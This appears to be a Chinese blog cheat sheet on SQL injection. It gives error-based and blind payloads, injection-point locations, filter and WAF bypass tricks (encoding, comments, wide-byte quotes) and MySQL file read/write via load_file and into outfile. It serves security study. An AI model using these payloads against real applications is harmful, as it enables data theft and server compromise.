SQL注入简单总结

报错注入

  1. updatexml()更新xml文档函数,语法:updatexml(目标xml文档,xml路径,更新的内容),例:select updatexml(1,concat(0x7e,(select version()),0x7e),1);

  2. extractvalue()XML文档查询函数,语法:extractvalue(目标xml文档,xml路径),例:select extractvalue(‘anything’,concat(‘~’,(select database())));

  3. floor()返回小于等于该值的最大整数,原理:rand()order by()group by()的冲突,例如:and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

  4. exp(x)返回e(自然对数的底)指数X的幂值,原理:传入值大于709时产生溢出报错,例:?id=1' and exp(~(select * from (select user())x))%23

Bool盲注

  1. 截取函数
    • substring(expression,start,length)
    • substr(str,start.length)
    • left(str,length)
    • right(str,length)
  2. 转换函数
    • ascii()
    • ord()
    • hex()
  3. 比较函数
    • if(cond,Ture_result,False_result)
  4. 长度函数
    • length(str)

时间盲注

  1. 延时函数
    • sleep(N)
    • benchmark(N,expression)

limit之后的注入

  1. 在MySQL版本号大于5.0.0且小于5.6.6的时候,可以在limit后进行注入。
    • 例:select field from table where id >0 order by id limit {injection_point}
    • 也可以使用:select field from table where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

注入点的位置及发现

  1. 常见注入点位置
    • GET参数中
    • POST中
    • User-Agent中
    • Cookies中
    • select注入
      • 注入点在select_expr
      • 注入点在table_reference
    • where或having后
    • gorup by或order by后
    • limit后
    • insert注入
      • 注入点在tbl_name
      • 注入点在values
    • update注入
    • delete注入
  2. 判断注入点
    • 插入单双引号
    • 数字型判断,例:and 1=2
    • 数字的加减,例:?id=3-1

绕过

  1. 过滤关键字
    • 双写绕过,例:select -- selselectect
    • 大小写绕过,例:select -- SelECt
    • 个别字母替换十六进制,例:select -- selec\x74
    • 双重URL编码,例:select -- %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
    • 正则匹配关键字"\bselect\b"可以用形如"/*!50000select*/"来绕过。
  2. 过滤空格
    • 代替空白字符
      %0a、%0b、%0c、%0d、%09、%a0(在特定字符集才能利用)
      
    • 注释绕过
      #、--、//、/**/、;%00、/*!*/
      
    • 空格编码%20双重URL编码
      %20 -- %2520
      
    • 空白字符绕过(十六进制)
      SQLite3 -- 0A,0D,0C,09,20
      MySQL5 -- 09,0A,0B,0C,0D,A0,20
      PosgresSQL -- 0A.0D.0C,09,20
      Oracle llg -- 00,0A,0D,0C,09,20
      MSSQL -- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
      
    • 特殊符号
      -、+、!、`(反引号)
      
    • 科学计数法
      select user,password from users where user_id=0e1union slect 1,2
      
  3. 过滤单引号
    • 当PHP版本小于5.4时,如果遇到GB2312、GBK等宽字节编码,可以在注入点增加%df尝试进行宽字节注入(如%df%27)。
    • 利用\转移单引号
  4. 相等过滤
    • MySQL中存在utf8_unicode_ciutf8_general_ci两种编码格式。utf8_general_ci不仅不区分大小写,而且Ä=A,Ö=O,Ü=U这三种等式都成立。对于utf8_general_ci等式ß=s是成立的,但是,对于utf8_unicode_ci,等式ß=ss才是成立的。
  5. 字符串截断
    • 在标题、抬头等位置,可能限定了字符数,超过就会被截断。

SQL读写文件

  1. 在MySQL用户拥有File权限的情况下,可以使用load_fileinto outfile/dumpfile进行读写。格式:
    load_file('file_name')
    into outfile 'file_name'
    into dumpfile 'file_name'
    
    • 在某些需要绕过单引号的情况下,可以使用文件名的十六进制作为load_file函数的参数。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bnessy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值